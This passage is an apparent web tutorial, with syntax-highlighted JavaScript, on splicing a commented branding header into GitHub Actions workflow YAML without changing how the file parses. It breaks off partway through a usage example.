&lt;p&gt;Emitting into YAML is different from emitting into CSS or Python in one way that matters. In a stylesheet, a generated block is content: it is meant to change what renders. In a workflow file, a generated block must be content-free. The file is executed by a machine whose behaviour has to be identical before and after, or your branding has just changed your CI.&lt;/p&gt;
&lt;p&gt;This guide builds the splicer, the header, and, more importantly, the assertion that proves the header is invisible to the thing that reads the file.&lt;/p&gt;
&lt;h2&gt;Setup: why comments are the only safe medium&lt;/h2&gt;
&lt;p&gt;The YAML specification is unusually direct about this. Comments “must not have any effect on the serialization tree or representation graph. In particular, comments are not associated with a particular node”, and “Comments are a presentation detail and must not be used to convey content information” (&lt;a href=&quot;https://yaml.org/spec/1.2.2/&quot;&gt;YAML 1.2.2&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;That is a guarantee you can build a test around: if every line you add begins with &lt;code&gt;#&lt;/code&gt;, the parsed document is unchanged by definition, in any conformant parser. It is also a constraint. GitHub Actions workflows are plain YAML files, since “Workflow files use YAML syntax, and must have either a &lt;code&gt;.yml&lt;/code&gt; or &lt;code&gt;.yaml&lt;/code&gt; file extension” (&lt;a href=&quot;https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax&quot;&gt;workflow syntax&lt;/a&gt;), so there is no metadata block, no front matter, and no place to put anything that is not either configuration or a comment.&lt;/p&gt;
&lt;h2&gt;Build the region splicer&lt;/h2&gt;
&lt;p&gt;The splicer knows how to comment a marker line in each target language, and replaces the block in place if it already exists:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// region.mjs — splice a generated block into a file, in the file&apos;s comment syntax.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; COMMENT &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { yaml: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, python: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, css: [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;/*&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;*/&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], md: [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&amp;#x3C;!--&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name, syntax, body, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; c &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; COMMENT[syntax];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`unknown syntax &quot;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;syntax&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; line&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (text) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    Array.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;isArray&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    line&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&gt;&gt;&gt; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} GENERATED, do not edit`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    body,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    line&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&amp;#x3C;&amp;#x3C;&amp;#x3C; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; spliceRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(file, name, syntax, body, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rendered &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name, syntax, body, version);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegExp&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `^.*&gt;&gt;&gt; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} .*$[&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;S]*?^.*&amp;#x3C;&amp;#x3C;&amp;#x3C; brand:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}.*$`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;m&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(file) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; file.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(re, rendered) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;rendered&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note what it comments: the two marker lines, and nothing else. The body arrives already in the target language, because for every other emitter the body &lt;em&gt;is&lt;/em&gt; code. That assumption is the trap the next section walks into.&lt;/p&gt;
&lt;h2&gt;Build the header, and comment its own body&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// header.mjs — the masthead a generated workflow wears.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; pad&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (s, n) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos; &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;repeat&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(Math.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;max&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, n &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s].length));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * Returns the header ALREADY COMMENTED.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * Every other emitter returns code in the target&apos;s language and lets the region&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * renderer comment only the two marker lines. That is correct for a stylesheet&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * or a Python module and fatal here: a masthead emitted bare splices box-drawing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * straight into the document and yields YAML that cannot parse.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; ghaHeader&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ title, purpose, byline, generator }, width &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 74&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;Number.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;isInteger&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(width) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; width &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 40&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`width must be an integer &gt;= 40 (got ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;})`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tracked &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;title.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;toUpperCase&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;()].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;═&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;repeat&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(width),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    pad&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tracked, width &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; byline.length) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; byline,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;─&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;repeat&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(width),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    purpose,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `generated by ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;generator&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `# ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;trimEnd&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;()).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Skip that final &lt;code&gt;map&lt;/code&gt; and the result is a workflow file with a box-drawing rule where a top-level key should be. The parser’s complaint is not obviously about a banner:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;yaml.parser.ParserError: expected &apos;&amp;#x3C;document start&gt;&apos;, but found &apos;&amp;#x3C;block mapping start&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  in &quot;ci.broken.yml&quot;, line 7, column 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Line 7 is &lt;code&gt;name: ci&lt;/code&gt;, the first real line of the workflow, which is a long way from the actual mistake on line 2.&lt;/p&gt;
&lt;h2&gt;Use it&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync, writeFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ghaHeader } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./header.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { spliceRegion } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./region.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; workflow &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ci.yml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; ghaHeader&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  title: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ci&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  purpose: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Lint, test and build every pull request.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  byline: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;brand-tools&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
